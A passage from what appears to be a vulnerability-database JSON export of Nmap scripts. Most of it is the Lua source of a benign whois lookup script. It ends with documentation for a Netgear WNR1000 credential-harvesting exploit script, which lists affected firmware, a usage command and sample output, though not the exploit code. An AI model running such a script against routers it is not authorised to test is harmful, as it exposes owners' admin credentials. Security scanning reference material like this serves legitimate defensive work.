\"\\r?\\n%s*[Oo]rg[-]-[Tt]ech[-]-[Nn]ame:(.-)\\r?\\n\",\n orgtechemail = \"\\r?\\n%s*[Oo]rg[-]-[Tt]ech[-]-[Ee][-]-[Mm]ail:(.-)\\r?\\n\"\n }\n },\n lacnic = {\n ob_exist = \"\\r?\\n%s*[Ii]net6?num:%s*.-\\r?\\n\",\n ob_netnum = {\n ob_start = \"\\r?\\n%s*[Ii]net6?num:%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n inetnum = \"\\r?\\n%s*[Ii]net6?num:%s*(.-)\\r?\\n\",\n owner = \"\\r?\\n%s*[Oo]wner:%s*(.-)\\r?\\n\",\n ownerid = \"\\r?\\n%s*[Oo]wner[-]-[Ii][Dd]:%s*(.-)\\r?\\n\",\n responsible = \"\\r?\\n%s*[Rr]esponsible:%s*(.-)\\r?\\n\",\n country = \"\\r?\\n%s*[Cc]ountry:%s*(.-)\\r?\\n\",\n source = \"\\r?\\n%s*[Ss]ource:%s*(.-)\\r?\\n\"},\n ob_persn = {ob_start = \"\\r?\\n%s*[Pp]erson:%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n person = \"\\r?\\n%s*[Pp]erson:%s*(.-)\\r?\\n\",\n email = \"\\r?\\n%s*[Ee][-]-[Mm]ail:%s*(.-)\\r?\\n\"\n }\n },\n jpnic = {\n ob_exist = \"\\r?\\n%s*[Nn]etwork%s-[Ii]nformation:%s*.-\\r?\\n\",\n ob_netnum = {\n ob_start = \"[[Nn]etwork%s*[Nn]umber]%s*.-\\r?\\n\",\n ob_end = \"\\r?\\n\\r?\\n\",\n inetnum = \"[[Nn]etwork%s*[Nn]umber]%s*(.-)\\r?\\n\",\n netname = \"[[Nn]etwork%s*[Nn]ame]%s*(.-)\\r?\\n\",\n orgname = \"[[Oo]rganization]%s*(.-)\\r?\\n\"\n }\n }\n }\n\n ---\n -- whoisdb defines the whois services this script is able to query and the script output produced for them.\n -- Each entry is a key-value pair where the key is a short name for the service and value is a table of definitions for that service.\n -- Note that there is defined here an entry for IANA which does not have a whois service. The entry is defined to allow us to redirect to ARIN when\n -- IANA is referred to in a record.\n --\n -- Each service defined should contain the following:\n --\n -- id: String. Matches the key for the service and is a short name for the service.\n -- hostname: String. Hostname of the service.\n -- preflag: String. Prepended to the target IP address sent in the whois query.\n -- postflag: String. Appended to the target IP address sent in the whois query.\n -- longname: Table of strings. Each is a lowercase official (or semi-official) name of the service.\n -- fieldreq: Linked table entry. The key identifying a table of a set of objects defined in fields_meta.\n -- In its records each whois service displays a particular set of objects as defined here.\n -- smallnet_rule: Linked table entry. The key of a pattern for the field defined in fields_meta which captures the Assignment Range. This is an\n -- optional entry and is used to extract the smallest (i.e. Most Specific) range from a record when more than one range is detailed.\n -- redirects: Table of tables, containing strings. Used to determine whether a record is referring to a different whois service by\n -- searching for service specific information in certain fields of the record.\n -- Each entry is a table thus: { \"search_object\", \"search_field\", \"pattern\" }\n -- search_object: is the key name for a record object defined in fields_meta, in which to search.\n -- search_field: is the key name for a field of the object, the data of which to search.\n -- pattern: is typically the id or longname key names.\n -- In the example: {\"ob_org\", \"orgname\", \"longname\"}, we cycle through each service defined in whoisdb and look for its longname in\n -- the ob_org.orgname of the current record.\n -- output_short: Table for each object to be displayed when Nmap verbosity is zero. The first element of each table is the object name and the\n -- second element is a table of fields to display. The elements of the second may be field names, which are each output to a new\n -- line, or tables containing field names which are output to the same line.\n -- output_long: Table for each object to be displayed when Nmap verbosity is one or above. The structure is the same as output_short.\n -- reg: String name for the field in ob_netnum which captures the Assignment Range (e.g. \"netrange\", \"inetnum\"), the data of which is\n -- cached in the registry.\n -- unordered: Boolean. Optional. True if the records from the service display an object other than ob_netnum as the first in the record (such\n -- as at ARIN). This flag is used to decide whether we should extract an object immediately before the relevant ob_netnum object\n -- from a record.\n\n nmap.registry.whois.whoisdb = {\n arin = {\n id = \"arin\",\n hostname = \"whois.arin.net\", preflag = \"n +\", postflag = \"\",\n longname = {\"american registry for internet numbers\"},\n fieldreq = nmap.registry.whois.fields_meta.arin,\n smallnet_rule = nmap.registry.whois.fields_meta.arin.ob_netnum.netrange,\n redirects = {\n {\"ob_org\", \"orgname\", \"longname\"},\n {\"ob_org\", \"orgname\", \"id\"},\n {\"ob_org\", \"orgid\", \"id\"} },\n output_short = {\n {\"ob_netnum\", {\"netrange\", \"netname\"}},\n {\"ob_org\", {\"orgname\", \"orgid\", {\"country\", \"stateprov\"}}} },\n output_long = {\n {\"ob_netnum\", {\"netrange\", \"netname\"}},\n {\"ob_org\", {\"orgname\", \"orgid\", {\"country\", \"stateprov\"}}},\n {\"ob_cust\", {\"custname\", {\"country\", \"stateprov\"}}},\n {\"ob_persn\", {\"orgtechname\", \"orgtechemail\"}} },\n reg = \"netrange\",\n unordered = true\n },\n ripe = {\n id = \"ripe\",\n hostname = \"whois.ripe.net\", preflag = \"-B\", postflag = \"\",\n longname = {\"ripe network coordination centre\"},\n fieldreq = nmap.registry.whois.fields_meta.rpsl,\n smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum,\n redirects = {\n {\"ob_role\", \"role\", \"longname\"},\n {\"ob_org\", \"orgname\", \"id\"},\n {\"ob_org\", \"orgname\", \"longname\"} },\n output_short = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"descr\", \"country\"}},\n {\"ob_org\", {\"orgname\", \"organisation\", \"descr\", \"email\"}} },\n output_long = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"descr\", \"country\"}},\n {\"ob_org\", {\"orgname\", \"organisation\", \"descr\", \"email\"}},\n {\"ob_role\", {\"role\", \"email\"}},\n {\"ob_persn\", {\"person\", \"email\"}} },\n reg = \"inetnum\"\n },\n apnic = {\n id = \"apnic\",\n hostname = \"whois.apnic.net\", preflag = \"\", postflag = \"\",\n longname = {\"asia pacific network information centre\"},\n fieldreq = nmap.registry.whois.fields_meta.rpsl,\n smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum,\n redirects = {\n {\"ob_netnum\", \"netname\", \"id\"},\n {\"ob_org\", \"orgname\", \"longname\"},\n {\"ob_role\", \"role\", \"longname\"},\n {\"ob_netnum\", \"source\", \"id\"} },\n output_short = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"descr\", \"country\"}},\n {\"ob_org\", {\"orgname\", \"organisation\", \"descr\", \"email\"}} },\n output_long = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"descr\", \"country\"}},\n {\"ob_org\", {\"orgname\", \"organisation\", \"descr\", \"email\"}},\n {\"ob_role\", {\"role\", \"email\"}},\n {\"ob_persn\", {\"person\", \"email\"}} },\n reg = \"inetnum\"\n },\n lacnic = {\n id = \"lacnic\",\n hostname = \"whois.lacnic.net\", preflag = \"\", postflag = \"\",\n longname =\n {\"latin american and caribbean ip address regional registry\"},\n fieldreq = nmap.registry.whois.fields_meta.lacnic,\n smallnet_rule = nmap.registry.whois.fields_meta.lacnic.ob_netnum.inetnum,\n redirects = {\n {\"ob_netnum\", \"ownerid\", \"id\"},\n {\"ob_netnum\", \"source\", \"id\"} },\n output_short = {\n {\"ob_netnum\",\n {\"inetnum\", \"owner\", \"ownerid\", \"responsible\", \"country\"}} },\n output_long = {\n {\"ob_netnum\",\n {\"inetnum\", \"owner\", \"ownerid\", \"responsible\", \"country\"}},\n {\"ob_persn\", {\"person\", \"email\"}} },\n reg = \"inetnum\"\n },\n afrinic = {\n id = \"afrinic\",\n hostname = \"whois.afrinic.net\", preflag = \"-c\", postflag = \"\",\n longname = {\n \"african internet numbers registry\",\n \"african network information center\"\n },\n fieldreq = nmap.registry.whois.fields_meta.rpsl,\n smallnet_rule = nmap.registry.whois.fields_meta.rpsl.ob_netnum.inetnum,\n redirects = {\n {\"ob_org\", \"orgname\", \"longname\"} },\n output_short = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"descr\", \"country\"}},\n {\"ob_org\", {\"orgname\", \"organisation\", \"descr\", \"email\"}} },\n output_long = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"descr\", \"country\"}},\n {\"ob_org\", {\"orgname\", \"organisation\", \"descr\", \"email\"}},\n {\"ob_role\", {\"role\", \"email\"}},\n {\"ob_persn\", {\"person\", \"email\"}} },\n reg = \"inetnum\"\n },--[[\n jpnic = {\n id = \"jpnic\",\n hostname = \"whois.nic.ad.jp\", preflag = \"\", postflag = \"/e\",\n longname = {\"japan network information center\"},\n fieldreq = nmap.registry.whois.fields_meta.jpnic,\n output_short = {\n {\"ob_netnum\", {\"inetnum\", \"netname\", \"orgname\"}} },\n reg = \"inetnum\" },--]]\n iana = { -- not actually a db but required here\n id = \"iana\", longname = {\"internet assigned numbers authority\"}\n }\n }\n\n nmap.registry.whois.m_none = {\n \"\\n%s*([Nn]o match found for[%s+]*$addr)\",\n \"\\n%s*([Uu]nallocated resource:%s*$addr)\",\n \"\\n%s*([Rr]eserved:%s*$addr)\",\n \"\\n[^\\n]*([Nn]ot%s[Aa]ssigned[^\\n]*$addr)\",\n \"\\n%s*(No match!!)%s*\\n\",\n \"(Invalid IP or CIDR block:%s*$addr)\",\n \"\\n%s*%%%s*(Unallocated and unassigned in LACNIC block:%s*$addr)\",\n }\n nmap.registry.whois.m_err = {\n \"\\n%s*([Aa]n [Ee]rror [Oo]ccured)%s*\\n\",\n \"\\n[^\\n]*([Ee][Rr][Rr][Oo][Rr][^\\n]*)\\n\"\n }\n\n nmap.registry.whois.remote_assignments_files = {}\n nmap.registry.whois.remote_assignments_files.ipv4 = {\n {\n remote_resource = \"https://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt\",\n local_resource = \"ipv4-address-space\",\n match_assignment = \"^%s*([%.%d]+/%d+)\",\n match_service = \"whois%.(%w+)%.net\"\n }\n }\n nmap.registry.whois.remote_assignments_files.ipv6 = {\n --[[{\n remote_resource = \"http://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.txt\",\n local_resource = \"ipv6-address-space\",\n match_assignment = \"^([:%x]+/%d+)\",\n match_service = \"^[:%x]+/%d+%s*(%w+)\"\n },--]]\n {\n remote_resource = \"https://www.iana.org/assignments/ipv6-unicast-address-assignments/ipv6-unicast-address-assignments.txt\",\n local_resource = \"ipv6-unicast-address-assignments\",\n match_assignment = \"^%s*([:%x]+/%d+)\",\n match_service = \"whois%.(%w+)%.net\"\n }\n }\n\n local err\n\n -- get and validate any --script-args\n get_args()\n\n -- mutex for each service\n nmap.registry.whois.mutex = {}\n for id, v in pairs( nmap.registry.whois.whoisdb ) do\n if id ~= \"iana\" then\n nmap.registry.whois.mutex[id] = nmap.mutex(nmap.registry.whois.whoisdb[id])\n end\n end\n\n -- get IANA assignments lists\n if nmap.registry.whois.using_local_assignments_file.ipv4\n or nmap.registry.whois.using_local_assignments_file.ipv6 then\n nmap.registry.whois.local_assignments_data = get_local_assignments_data()\n for _, af in ipairs({\"ipv4\", \"ipv6\"}) do\n if not nmap.registry.whois.local_assignments_data[af] then\n nmap.registry.whois.using_local_assignments_file[af] = false\n stdnse.debug1(\"Cannot use local assignments file for address family %s.\", af)\n end\n end\n end\n\n nmap.registry.whois.init_done = true\n\nend\n\n\n\n---\n-- Parses the command line arguments passed to the script with --script-args.\n-- Sets flags in the registry which threads read to determine certain behaviours.\n-- Permitted args are 'nofile' - Prevents use of a list of assignments to determine which service to query,\n-- 'nofollow' - Prevents following redirects found in records,\n-- 'arin', 'ripe', 'apnic', etc. - Service id's, as defined in the whoisdb table in the registry (see script_init).\n\nfunction get_args()\n\n if not nmap.registry.args then return end\n\n local args = stdnse.get_script_args('whois.whodb')\n\n if type( args ) ~= \"string\" or ( args == \"\" ) then return end\n\n local t = {}\n -- match words in args which may be whois dbs or other arguments\n for db in string.gmatch( args, \"%w+\" ) do\n if not nmap.registry.whois.whoisdb[db] then\n if ( db == \"nofollow\" ) then\n nmap.registry.whois.nofollow = true\n elseif ( db == \"nocache\" ) then\n nmap.registry.whois.using_cache = false\n elseif ( db == \"nofile\" ) then\n nmap.registry.whois.using_local_assignments_file.ipv4 = false\n nmap.registry.whois.using_local_assignments_file.ipv6 = false\n end\n elseif not ( string.match( table.concat( t, \" \" ), db ) ) then\n -- we have a unique valid whois db\n t[#t+1] = db\n end\n end\n\n if ( #t > 0 ) then\n -- \"nofile\" is implied by supplying custom whoisdb_default_order\n nmap.registry.whois.using_local_assignments_file.ipv4 = false\n nmap.registry.whois.using_local_assignments_file.ipv6 = false\n stdnse.debug3(\"Not using local assignments data because custom whoisdb_default_order was supplied.\")\n end\n\n if ( #t > 1 ) and nmap.registry.whois.nofollow then\n -- using nofollow, we do not follow redirects and can only accept what we find as a record therefore we only accept the first db supplied\n t = {t[1]}\n stdnse.debug1(\"Too many args supplied with 'nofollow', only using %s.\", t[1])\n end\n\n if ( #t > 0 ) then\n nmap.registry.whois.whoisdb_default_order = t\n stdnse.debug2(\"whoisdb_default_order: %s.\", table.concat( t, \" \" ))\n end\n\nend\n\n\n\n---\n-- Makes IANA hosted assignments data available for lookups against that data. In more detail it:\n-- Caches a local copy of remote assignments data if copies do not currently exist or are out-of-date.\n-- Checks whether the cached copies require updating and performs update as required.\n-- Parses the cached copies and populates a table of lookup data which is returned to the caller.\n-- Sets a flag in the registry to prevent use of the lookup data in the event of an error.\n-- @return Table of lookup data (or nil in case of an error).\n-- @return Nil or error message in case of an error.\n\nfunction get_local_assignments_data()\n\n if not next( nmap.registry.whois.remote_assignments_files ) then\n stdnse.debug1(\"Error in get_local_assignments_data: Remote resources not defined in remote_assignments_files registry key\")\n return nil\n end\n\n -- get the directory path where cached files will be stored.\n local fetchfile = \"nmap-services\"\n local directory_path, err = get_parentpath( fetchfile )\n if err then\n stdnse.debug1(\"Nmap.fetchfile() failed to get a path to %s: %s.\", fetchfile, err)\n return nil\n end\n\n local ret = {}\n\n -- cache or update and parse each remote file for each address family\n for address_family, t in pairs( nmap.registry.whois.remote_assignments_files ) do\n for i, assignment_data_spec in ipairs( t ) do\n\n local update_required, modified_date, entity_tag\n\n -- do we have a cached file and does it need updating?\n local file = directory_path .. assignment_data_spec.local_resource\n local exists, readable, writable = file_stat(file)\n if not exists and (readable and writable) then\n update_required = true\n elseif exists and readable then\n update_required, modified_date, entity_tag = requires_updating( file )\n if update_required and not writable then\n update_required = false\n readable = false\n end\n end\n\n local file_content\n\n -- read an existing and up-to-date file into file_content.\n if readable and not update_required then\n stdnse.debug2(\"%s was cached less than %s ago. Reading...\", file, nmap.registry.whois.local_assignments_file_expiry)\n file_content = read_from_file( file )\n end\n\n -- cache or update and then read into file_content\n local http_response, write_success\n if update_required then\n http_response = ( conditional_download( assignment_data_spec.remote_resource, modified_date, entity_tag ) )\n if not http_response or type( http_response.status ) ~= \"number\" then\n stdnse.debug1(\"Failed whilst requesting %s.\", assignment_data_spec.remote_resource)\n elseif http_response.status == 200 then\n -- prepend our file header\n stdnse.debug2(\"Retrieved %s.\", assignment_data_spec.remote_resource)\n file_content = stringaux.strsplit( \"\\r?\\n\", http_response.body )\n table.insert( file_content, 1, \"** Do Not Alter This Line or The Following Line **\" )\n local hline = {}\n hline[#hline+1] = \"<\" .. os.time() .. \">\"\n hline[#hline+1] = \"<\" .. http_response.header[\"last-modified\"] .. \">\"\n if http_response.header.etag then\n hline[#hline+1] = \"<\" .. http_response.header.etag .. \">\"\n end\n table.insert( file_content, 2, table.concat( hline ) )\n write_success, err = write_to_file( file, file_content )\n if err then\n stdnse.debug1(\"Error writing %s to %s: %s.\", assignment_data_spec.remote_resource, file, err)\n end\n elseif http_response.status == 304 then\n -- update our file header with a new timestamp\n stdnse.debug1(\"%s is up-to-date.\", file)\n file_content = read_from_file( file )\n file_content[2] = file_content[2]:gsub(\"^<[-+]?%d+>(.*)$\", \"<\" .. os.time() .. \">%1\")\n write_success, err = write_to_file( file, file_content )\n if err then\n stdnse.debug1(\"Error writing to %s: %s.\", file, err)\n end\n else\n stdnse.debug1(\"HTTP %s whilst requesting %s.\", http_response.status, assignment_data_spec.remote_resource)\n end\n end\n\n\n if file_content then\n -- Create a table for this address family (if there isn't one already).\n if not ret[address_family] then ret[address_family] = {} end\n -- Parse data and add to the table for this address family.\n local t\n t, err = parse_assignments( assignment_data_spec, file_content )\n if #t == 0 or err then\n -- good header, but bad file? Kill the file!\n write_to_file( file, \"\" )\n stdnse.debug1(\"Problem with the data in %s.\", file)\n else\n for i, v in pairs( t ) do\n ret[address_family][#ret[address_family]+1] = v\n end\n end\n end\n\n end -- file\n end -- af\n\n -- If we decide to use more than one assignments file for ipv6 we may need to sort the resultant parsed list so that sub-assignments appear\n -- before their parent. This is expensive, but it's worth doing to ensure the lookup process returns the correct service.\n -- table.sort( ret.ipv6, sort_assignments )\n\n -- final check for an empty table which we'll convert to nil\n for af, t in pairs( ret ) do\n if #t == 0 then\n ret[af] = nil\n end\n end\n\n return ret\n\nend\n\n\n\n---\n-- Uses <code>nmap.fetchfile</code> to get the path of the parent directory of the supplied Nmap datafile SCRIPT_NAME.\n-- @param fname String - Filename of an Nmap datafile.\n-- @return String - The filepath of the directory containing the supplied SCRIPT_NAME including the trailing slash (or nil in case of an error).\n-- @return Nil or error message in case of an error.\n\nfunction get_parentpath( fname )\n\n if type( fname ) ~= \"string\" or fname == \"\" then\n return nil, \"Error in get_parentpath: Expected fname as a string.\"\n end\n\n local path = nmap.fetchfile( fname )\n if not path then\n return nil, \"Error in get_parentpath: Call to fetchfile() failed.\"\n end\n\n path = path:sub( 1, path:len() - fname:len() )\n return path\n\nend\n\n\n\n--;\n-- Tests a file path to determine whether it exists, can be read from and can be written to.\n-- An attempt is made to create the file if it does not exist and no attempt is made to remove\n-- it if creation succeeded.\n-- @param path Path to a file.\n-- @return Boolean True if exists, False if not (at time of calling), nil if determination failed.\n-- @return Boolean True if readable, False if not, nil if determination failed.\n-- @return Boolean True if writable, False if not, nil if determination failed.\nfunction file_stat( path )\n\n local exists, readable, writable\n\n local f, err = io.open(path, 'r')\n if f then\n f:close()\n exists = true\n readable = true\n f, err = io.open(path, 'a')\n if f then\n f:close()\n writable = true\n elseif err:match('Permission denied') then\n writable = false\n end\n elseif err:match('No such file or directory') then\n exists = false\n f, err = io.open(path, 'w')\n if f then\n f:close()\n writable = true\n f, err = io.open(path, 'r')\n if f then\n f:close()\n readable = true\n elseif err:match('Permission denied') then\n readable = false\n end\n elseif err:match('Permission denied') then\n writable = false\n end\n elseif err:match('Permission denied') then\n exists = true -- probably\n readable = false\n end\n\n return exists, readable, writable\n\nend\n\n\n\n---\n-- Checks whether a cached file requires updating via HTTP.\n-- The cached file should contain the following string on the second line: \"<timestamp><Last-Modified-Date><Entity-Tag>\".\n-- where timestamp is number of seconds since epoch at the time the file was last cached and\n-- Last-Modified-Date is an HTTP compliant date sting returned by an HTTP server at the time the file was last cached and\n-- Entity-Tag is an HTTP Etag returned by an HTTP server at the time the file was last cached.\n-- @param file Filepath of the cached file.\n-- @return Boolean False if file does not require updating, true otherwise.\n-- @return nil or a valid modified-date (string).\n-- @return nil or a valid entity_tag (string).\n-- @see file_is_expired\n\nfunction requires_updating( file )\n\n local last_cached, mod, etag, has_expired\n\n local f, err, _ = io.open( file, \"r\" )\n if not f then return true, nil end\n\n local _ = f:read()\n local stamp = f:read()\n f:close()\n if not stamp then return true, nil end\n\n last_cached, mod, etag = stamp:match( \"^<([^>]*)><([^>]*)><?([^>]*)>?$\" )\n if (etag == \"\") then etag = nil end\n if not ( last_cached or mod or etag ) then return true, nil end\n if not (\n mod:match( \"%a%a%a,%s%d%d%s%a%a%a%s%d%d%d%d%s%d%d:%d%d:%d%d%s%u%u%u\" )\n or\n mod:match( \"%a*day,%d%d-%a%a%a-%d%d%s%d%d:%d%d:%d%d%s%u%u%u\" )\n or\n mod:match( \"%a%a%a%s%a%a%a%s%d?%d%s%d%d:%d%d:%d%d%s%d%d%d%d\" )\n ) then\n mod = nil\n end\n if not etag and not mod then\n return true, nil\n end\n\n -- Check whether the file was cached within local_assignments_file_expiry (registry value)\n has_expired = file_is_expired( last_cached )\n\n return has_expired, mod, etag\n\nend\n\n\n\n---\n-- Reads a file, line by line, into a table.\n-- @param file String representing a filepath.\n-- @return Table (array-style) of lines read from the file (or nil in case of an error).\n-- @return Nil or error message in case of an error.\n\nfunction read_from_file( file )\n\n if type( file ) ~= \"string\" or file == \"\" then\n return nil, \"Error in read_from_file: Expected file as a string.\"\n end\n\n local f, err, _ = io.open( file, \"r\" )\n if not f then\n stdnse.debug1(\"Error opening %s for reading: %s\", file, err)\n return nil, err\n end\n\n local line, ret = nil, {}\n while true do\n line = f:read()\n if not line then break end\n ret[#ret+1] = line\n end\n\n f:close()\n\n return ret\n\nend\n\n\n\n---\n-- Performs either an HTTP Conditional GET request if mod_date or e_tag is passed, or a plain GET request otherwise.\n-- Will follow a single redirect for the remote resource.\n-- @param url String representing the full URL of the remote resource.\n-- @param mod_date String representing an HTTP date.\n-- @param e_tag String representing an HTTP entity tag.\n-- @return Table as per <code>http.request</code> or <code>nil</code> in case of a non-HTTP error.\n-- @return Nil or error message in case of an error.\n-- @see http.request\n\nfunction conditional_download( url, mod_date, e_tag )\n\n if type( url ) ~= \"string\" or url == \"\" then\n return nil, \"Error in conditional_download: Expected url as a string.\"\n end\n\n -- mod_date and e_tag allowed to be nil or a non-empty string\n if mod_date and ( type( mod_date ) ~= \"string\" or mod_date == \"\" ) then\n return nil, \"Error in conditional_download: Expected mod_date as nil or as a non-empty string.\"\n end\n if e_tag and ( type( e_tag ) ~= \"string\" or e_tag == \"\" ) then\n return nil, \"Error in conditional_download: Expected e_tag as nil or as a non-empty string.\"\n end\n\n -- use e_tag in preference to mod_date\n local request_options = {}\n request_options.header = {}\n if e_tag then\n request_options.header[\"If-None-Match\"] = e_tag\n elseif mod_date then\n request_options.header[\"If-Modified-Since\"] = mod_date\n end\n if not next( request_options.header ) then request_options = nil end\n\n local request_response = http.get_url( url, request_options )\n\n -- follow one redirection\n if request_response.status ~= 304\n and ( tostring( request_response.status ):match( \"30%d\" )\n and type( request_response.header.location ) == \"string\"\n and request_response.header.location ~= \"\" ) then\n stdnse.debug2(\"HTTP Status:%d New Location: %s.\", request_response.status, request_response.header.location)\n request_response = http.get_url( request_response.header.location, request_options )\n end\n\n return request_response\n\nend\n\n\n\n---\n-- Writes the supplied content to file.\n-- @param file String representing a filepath (if it exists it will be overwritten).\n-- @param content String or table of data to write to file. Empty string or table is permitted.\n-- A table will be written to file with each element of the table on a new line.\n-- @return Boolean True on success or nil in case of an error.\n-- @return Nil or error message in case of an error.\n\nfunction write_to_file( file, content )\n\n if type( file ) ~= \"string\" or file == \"\" then\n return nil, \"Error in write_to_file: Expected file as a string.\"\n end\n if type( content ) ~= \"string\" and type( content ) ~= \"table\" then\n return nil, \"Error in write_to_file: Expected content as a table or string.\"\n end\n\n local f, err, _ = io.open( file, \"w\" )\n if not f then\n stdnse.debug1(\"Error opening %s for writing: %s.\", file, err)\n return nil, err\n end\n\n if ( type( content ) == \"table\" ) then\n content = table.concat( content, \"\\n\" ) or \"\"\n end\n f:write( content )\n\n f:close()\n\n return true\n\nend\n\n\n\n---\n-- Converts raw data from an assignments file into a form optimised for lookups against that data.\n-- @param address_family_spec Table (assoc. array) containing patterns for extracting data.\n-- @param table_of_lines Table containing a line of data per table element.\n-- @return Table - each element of the form { range = { first = data, last = data }, service = data } (or nil in case of an error).\n-- @return Nil or error message in case of an error.\n\nfunction parse_assignments( address_family_spec, table_of_lines )\n\n if #table_of_lines < 1 then\n return nil, \"Error in parse_assignments: Expected table_of_lines as a non-empty table.\"\n end\n\n local mnetwork = address_family_spec.match_assignment\n local mservice = address_family_spec.match_service\n\n local ret, net, svc = {}\n\n for i, line in ipairs( table_of_lines ) do\n\n net = line:match( mnetwork )\n if net then\n svc = line:match( mservice )\n if svc then svc = string.lower( svc ) end\n if not svc or ( svc == \"iana\" ) then\n svc = \"arin\"\n elseif not nmap.registry.whois.whoisdb[svc] then\n svc = \"arin\"\n end\n -- optimise the data\n local first_ip, last_ip, err = ipOps.get_ips_from_range( net )\n if not err then\n local t = { first = first_ip, last = last_ip }\n ret[#ret+1] = { range = t, service = svc }\n end\n end\n\n end\n\n return ret\n\nend\n\n\n\n---\n-- Checks the age of the supplied timestamp and compares it to the value of local_assignments_file_expiry.\n-- @param time_string String representing a timestamp (seconds since epoch).\n-- @return Boolean True if the period elapsed since the timestamp is longer than the value of local_assignments_file_expiry\n-- also returns true if the parameter is not of the expected type, otherwise returns false.\n-- @see sane_expiry_period\n\nfunction file_is_expired( time_string )\n\n if type( time_string ) ~= \"string\" or time_string == \"\" then return true end\n local allowed_age = nmap.registry.whois.local_assignments_file_expiry\n if allowed_age == \"\" then return true end\n\n local cached_time = tonumber(time_string)\n if not cached_time then return true end\n\n local now_time = os.time()\n if now_time < cached_time then return true end\n if now_time > ( cached_time + sane_expiry_period( allowed_age ) ) then return true end\n\n return false\n\nend\n\n\n\n---\n-- Checks that the supplied string represents a period of time between 0 and 7 days.\n-- @param period String representing a period.\n-- @return Number representing the supplied period or a failsafe period in whole seconds.\n-- @see get_period\n\nfunction sane_expiry_period( period )\n\n local sane_default_expiry = 57600 -- 16h\n local max_expiry = 604800 -- 7d\n\n period = get_period( period )\n if not period or ( period == \"\" ) then return sane_default_expiry end\n\n if period < max_expiry then return period end\n return max_expiry\n\nend\n\n\n\n---\n-- Converts a string representing a period of time made up of a quantity and a unit such as \"24h\"\n-- into whole seconds.\n-- @param period String combining a quantity and a unit of time.\n-- Acceptable units are days (D or d), hours (H or h), minutes (M or m) and seconds (S or s).\n-- If a unit is not supplied or not one of the above acceptable units, it is assumed to be seconds.\n-- Negative or fractional periods are permitted.\n-- @return Number representing the supplied period in whole seconds (or nil in case of an error).\n\nfunction get_period( period )\n\n if type( period ) ~= 'string' or ( period == \"\" ) then return nil end\n local quant, unit = period:match( \"(-?+?%d*%.?%d*)([SsMmHhDd]?)\" )\n if not ( tonumber( quant ) ) then return nil end\n\n if ( string.lower( unit ) == \"m\" ) then\n unit = 60\n elseif ( string.lower( unit ) == \"h\" ) then\n unit = 3600\n elseif ( string.lower( unit ) == \"d\" ) then\n unit = 86400\n else\n -- seconds and catch all\n unit = 1\n end\n\n return ( math.modf( quant * unit ) )\n\nend\n\n\n\n--\n-- Passed to <code>table.sort</code>, will sort a table of IP assignments such that sub-assignments appear before their parent.\n-- This function is not in use at the moment (see get_local_assignments_data) and will not appear in nse documentation.\n-- @param first Table { range = { first = IP_addr, last = IP_addr } }\n-- @param second Table { range = { first = IP_addr, last = IP_addr } }\n-- @return Boolean True if the tables are already in the correct order, otherwise false.\n\nfunction sort_assignments( first, second )\n\n local f_lo, f_hi = first.range.first, first.range.last\n local s_lo, s_hi = second.range.first, second.range.last\n\n if ipOps.compare_ip( f_lo, \"gt\", s_lo ) then return false end\n if ipOps.compare_ip( f_lo, \"le\", s_lo ) and ipOps.compare_ip( f_hi, \"ge\", s_hi ) then\n return false\n end\n\n return true\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:42:14", "description": "A vulnerability has been discovered in WNR 1000 series that allows an attacker to retrieve administrator credentials with the router interface. Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA \n\nVulnerability discovered by c1ph04.\n\n## Script Arguments \n\n#### http-vuln-wnr1000-creds.uri \n\nURI path where the passwordrecovered.cgi script can be found. Default: /\n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### vulns.short, vulns.showall \n\nSee the documentation for the [vulns](<../lib/vulns.html#script-args>) library. \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV --script http-vuln-wnr1000-creds <target> -p80\n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 80/tcp open http syn-ack\n | http-vuln-wnr1000-creds:\n | VULNERABLE:\n | Netgear WNR1000v3 Credential Harvesting Exploit\n | State: VULNERABLE (Exploitable)\n | IDs: None, 0-day\n | Description:\n | A vulnerability has been discovered in WNR 1000 series that allows an attacker\n | to retrieve administrator credentials with the router interface.\n | Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA\n | Disclosure date: 26-01-2014\n | References:\n |_ http://packetstormsecurity.com/files/download/124759/netgearpasswd-disclose.zip\n \n \n\n## Requires \n\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [vulns](<../lib/vulns.html>)\n * [creds](<../lib/creds.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2014-05-04T15:43:30", "type": "nmap", "title": "http-vuln-wnr1000-creds NSE Script", "bulletinFamily": 